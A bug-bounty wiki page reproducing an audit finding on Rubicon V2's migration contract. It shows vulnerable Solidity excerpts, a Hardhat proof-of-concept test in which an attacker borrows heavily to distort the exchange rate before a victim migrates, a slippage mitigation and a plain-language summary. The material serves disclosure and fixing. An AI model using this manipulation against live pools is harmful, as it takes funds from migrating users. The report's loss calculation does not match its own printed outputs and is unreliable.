Skip to content
Business logic Audit finding Advanced

Users might get less assets than expected upon migration due to price manipulation attacks

The migration contract mints V2 tokens based on a manipulable exchange rate, allowing an attacker to borrow large amounts in the V2 pool to distort the rate and cause the victim to receive fewer V2 tokens than expected. The attacker can profit at the victim's expense when liquidity is low.

0xNineDec Follow

Originally disclosed on Code4rena

Submitted by 0xNineDec.

It is possible to manipulate the price of BathV2 tokens before a migration and consequently the migrator will receive underpriced V2 tokens, incurring losses.

The migration process of V2Migrator.migrate() hands in the user’s BathV1 balance in exchange of its underlying. Then, proceeds to mint the counterpart of BathV2 tokens providing the same amount of recovered underlying tokens:

function migrate(IBathToken bathTokenV1) external {
    //////////////// V1 WITHDRAWAL ////////////////
    uint256 bathBalance = bathTokenV1.balanceOf(msg.sender);
    require(bathBalance > 0, "migrate: ZERO AMOUNT");

    /// @dev approve first
    bathTokenV1.transferFrom(msg.sender, address(this), bathBalance);

    // withdraw all tokens from the pool
    uint256 amountWithdrawn = bathTokenV1.withdraw(bathBalance);

    //////////////// V2 DEPOSIT ////////////////
    IERC20 underlying = bathTokenV1.underlyingToken();
    address bathTokenV2 = v1ToV2Pools[address(bathTokenV1)];

    underlying.approve(bathTokenV2, amountWithdrawn);
    require(
        CErc20Interface(bathTokenV2).mint(amountWithdrawn) == 0,
        "migrate: MINT FAILED"
    );
    /// @dev v2 bathTokens shouldn't be sent to this contract from anywhere other than this function
    IERC20(bathTokenV2).transfer(
        msg.sender,
        IERC20(bathTokenV2).balanceOf(address(this))
    );
    ...
}

This process can be abused from external actors when the V2 pool has low liquidity to manipulate the price of the V2 tokens considerably changing the amount of V2 tokens received by the migrating user.

The amount of V2 tokens (CTokens) that are minted are calculated after accruing the respective interests in CToken.mintFresh():

function mintFresh(address minter, uint mintAmount) internal {
    // ... minting checks  ...

    Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

    uint mintTokens = div_(actualMintAmount, exchangeRate);

    /*
    * We calculate the new total supply of cTokens and minter token balance, checking for overflow:
    *  totalSupplyNew = totalSupply + mintTokens
    *  accountTokensNew = accountTokens[minter] + mintTokens
    * And write them into storage
    */
    totalSupply = totalSupply + mintTokens;
    accountTokens[minter] = accountTokens[minter] + mintTokens;

    /* We emit a Mint event, and a Transfer event */
    emit Mint(minter, actualMintAmount, mintTokens);
    emit Transfer(address(this), minter, mintTokens);

    /* We call the defense hook */
    // unused function
    // comptroller.mintVerify(address(this), minter, actualMintAmount, mintTokens);

}

An attacker is able to manipulate the exchangeRate so it harms the subsequent minters:

function exchangeRateStoredInternal() virtual internal view returns (uint) {
    uint _totalSupply = totalSupply;
    if (_totalSupply == 0) {
        /*
            * If there are no tokens minted:
            *  exchangeRate = initialExchangeRate
            */
        return initialExchangeRateMantissa;
    } else {
        /*
            * Otherwise:
            *  exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
            */
        uint totalCash = getCashPrior();
        uint cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves;
        uint exchangeRate = cashPlusBorrowsMinusReserves * expScale / _totalSupply;

        return exchangeRate;
    }
}

Essentially, more tokens will be minted if the rate is decreased, as it is dividing the actualMintAmount, which could be done by increasing the totalSupply. The opposite effect can be done by increasing the totalCash or the totalBorrows, for example.

Proof of Concept

This scenario can be abused by attackers willing to harm other users that are migrating from one type of token to another, knowing that the liquidity of the pool is low.

The following script shows how an attacker is able to manipulate the price of the V2 token by borrowing in the same market. The output shows both scenarios, when the price is manipulated and when it is under normal conditions.

  it("can manipulate the migration yield", async function () {
    const { testCoin, migrator, bathTokenV1, bathTokenV2, owner, otherAccount, comptroller } = await loadFixture(
      deployBathTokensFixture
    );
    // *** POOLS UTILITY
    const PriceOracleFactory = await ethers.getContractFactory(
      "DummyPriceOracle"
    );
    const priceOracle = await PriceOracleFactory.deploy();
    await priceOracle.addCtoken(testCoin.address, parseUnits("1", 30));
    await priceOracle.addCtoken(bathTokenV2.address, parseUnits("1", 30));

    await comptroller._setPriceOracle(priceOracle.address);
    await comptroller._supportMarket(bathTokenV2.address)

    await comptroller._setCollateralFactor(
      bathTokenV2.address,
      parseUnits("0.9", 18)
    ); // 90% of collateral is borrowable
    await comptroller._setBorrowPaused(bathTokenV2.address, false)

    const simulatedFlashloanAmount = 10_000_000
    await testCoin.connect(otherAccount).faucetWithAmountUnchecked(simulatedFlashloanAmount); // 10MM flashloan of testCoins
    const initialTestBalance = await testCoin.balanceOf(otherAccount.address)
    console.log(`Initial - TestCoin Balance [Attacker]: ${initialTestBalance}`)

    // A big borrow lands before the migration
    await testCoin.connect(otherAccount).approve(bathTokenV2.address, initialTestBalance);
    await bathTokenV2.connect(otherAccount).mint(initialTestBalance);
    console.log(`\nBefore Borrow - TestCoin Balance [Attacker]: ${await testCoin.balanceOf(otherAccount.address)}`)
    await bathTokenV2.connect(otherAccount).borrow(initialTestBalance.mul(89).div(100));
    console.log(`After Borrow - TestCoin Balance [Attacker]: ${await testCoin.balanceOf(otherAccount.address)}`)

    // ======= Comment/Uncomment this for the manipulated scenario ===========
    // await testCoin.connect(otherAccount).approve(bathTokenV2.address, ethers.constants.MaxUint256);
    // await bathTokenV2.connect(otherAccount).repayBorrow((await testCoin.balanceOf(otherAccount.address)))
    // =======================================================================

    // bath balance before migration
    const bathTokenV1BalanceBefore = await bathTokenV1.balanceOf(owner.address);
    const bathTokenV2BalanceBefore = await bathTokenV2.balanceOf(owner.address);
    console.log(`\nBefore Migration - BathTokenV1 Balance [Victim]: ${bathTokenV1BalanceBefore}`)
    console.log(`Before Migration - BathTokenV2 Balance [Victim]: ${bathTokenV2BalanceBefore}`)

    await bathTokenV1.approve(migrator.address, bathTokenV1BalanceBefore);
    await migrator.migrate(bathTokenV1.address);

    // bath balance after migration
    const bathTokenV1BalanceAfter = await bathTokenV1.balanceOf(owner.address);
    const bathTokenV2BalanceAfter = await bathTokenV2.balanceOf(owner.address);

    console.log(`\nAfter Migration - BathTokenV1 Balance [Victim]: ${bathTokenV1BalanceAfter}`)
    console.log(`After Migration - BathTokenV2 Balance [Victim]: ${bathTokenV2BalanceAfter}`)

    const underlyingBalanceBefore = await testCoin.balanceOf(owner.address);
    await bathTokenV2.approve(bathTokenV2.address, bathTokenV2BalanceAfter);
    await bathTokenV2.redeem(bathTokenV2BalanceAfter);
    const underlyingBalanceAfter = await testCoin.balanceOf(owner.address);
    console.log(`\nAfter Redemption - TestCoin (Underlying) Balance [Victim]: ${underlyingBalanceAfter}`)
    console.log(`After Redemption - BathTokenV2 Balance [Victim]: ${await bathTokenV2.balanceOf(owner.address)}`)
  });
- WITH A BIG BORROW BEFORE THE MIGRATION, WITHOUT REPAYMENT
Initial - TestCoin Balance [Attacker]: 10000000000000000000000000

Before Borrow - TestCoin Balance [Attacker]: 0
After Borrow - TestCoin Balance [Attacker]: 8900000000000000000000000

Before Migration - BathTokenV1 Balance [Victim]: 14999999999999999000
Before Migration - BathTokenV2 Balance [Victim]: 0

After Migration - BathTokenV1 Balance [Victim]: 0
After Migration - BathTokenV2 Balance [Victim]: 74977479826

After Redemption - TestCoin (Underlying) Balance [Victim]: 9899995505034745960181
After Redemption - BathTokenV2 Balance [Victim]: 0
- WITH A BIG BORROW BEFORE THE MIGRATION, WITH REPAYMENT
Initial - TestCoin Balance [Attacker]: 10000000000000000000000000

Before Borrow - TestCoin Balance [Attacker]: 0
After Borrow - TestCoin Balance [Attacker]: 8900000000000000000000000

Before Migration - BathTokenV1 Balance [Victim]: 14999999999999999000
Before Migration - BathTokenV2 Balance [Victim]: 0

After Migration - BathTokenV1 Balance [Victim]: 0
After Migration - BathTokenV2 Balance [Victim]: 74977479826

After Redemption - TestCoin (Underlying) Balance [Victim]: 9899995500999977864007
After Redemption - BathTokenV2 Balance [Victim]: 0

It is simulating the amount of underlying tokens that the victim would receive in either cases. The difference between the scenario A and B (without repayment and repaying the borrow) is: WITHOUT_REPAYING - WITH_REPAYMENT = 19899995499999977864007 - 19899995504034745960181 = -4034768096174, considering that the TestCoin has 8 decimals and is a valuable token (like WBTC), the loss of migrating will mean 40347 of tokens, even if the price is 1 USD per token, the loss is considerable.

Mitigation

Simulate the amount of underlying tokens users would get if they redeem the whole BathV2 amount immediately after migrating and allow users to set up a slippage on the amount of underlying tokens they would get (comparing against the simulated amount).

daoio (Rubicon) acknowledged


The original report as published on Code4rena, by 0xNineDec. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The exchange rate used to mint V2 tokens is derived from the pool's total cash and borrows, which can be manipulated by large borrows or repayments within the same transaction or block.

Impact

The migrating user could receive fewer V2 tokens than expected, leading to a loss of underlying tokens when redeemed; the attack requires low liquidity in the V2 pool.

What the attacker needed

Low liquidity in the V2 pool; attacker has capital to borrow; victim migrates during manipulation

The fix

The migration should simulate the amount of underlying tokens the user would get upon immediate redemption and allow the user to set a slippage tolerance.

How it was found

  1. Attacker obtains a large amount of the underlying token (e.g., via flash loan).
  2. Attacker mints V2 tokens with the borrowed amount.
  3. Attacker borrows a large portion of the V2 pool, reducing total cash and thus the exchange rate.
  4. Victim migrates their V1 tokens, receiving fewer V2 tokens due to the manipulated rate.
  5. Attacker optionally repays the borrow to restore the rate and keep the profit.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you move your tokens from an old pool to a new one, the system calculates how many new tokens you get based on the current exchange rate. An attacker can borrow a lot of tokens to change that rate temporarily, so you end up with fewer new tokens than you should. This only works if the new pool has low liquidity.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xNineDec

View all

8 more disclosed reports, best first.

More from Rubicon v2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.